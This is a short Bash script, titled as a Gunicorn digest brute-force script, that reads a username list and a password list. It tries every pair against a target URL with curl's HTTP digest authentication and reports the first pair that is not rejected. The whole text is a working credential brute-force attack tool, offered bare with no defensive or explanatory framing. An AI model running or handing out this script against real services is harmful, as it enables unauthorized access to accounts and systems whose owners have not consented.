Gunicorn digest bruteforce script

app.sh

cat $1 | while read USER; do
        cat $2 | while read PASSWORD; do
                if curl -s $3 -c /tmp/cookie --digest -u $USER:$PASSWORD | grep -qi "unauth"
                then 
                        continue
                else
                        echo [+] Found $USER:$PASSWORD
                        exit 0
                fi
        done
done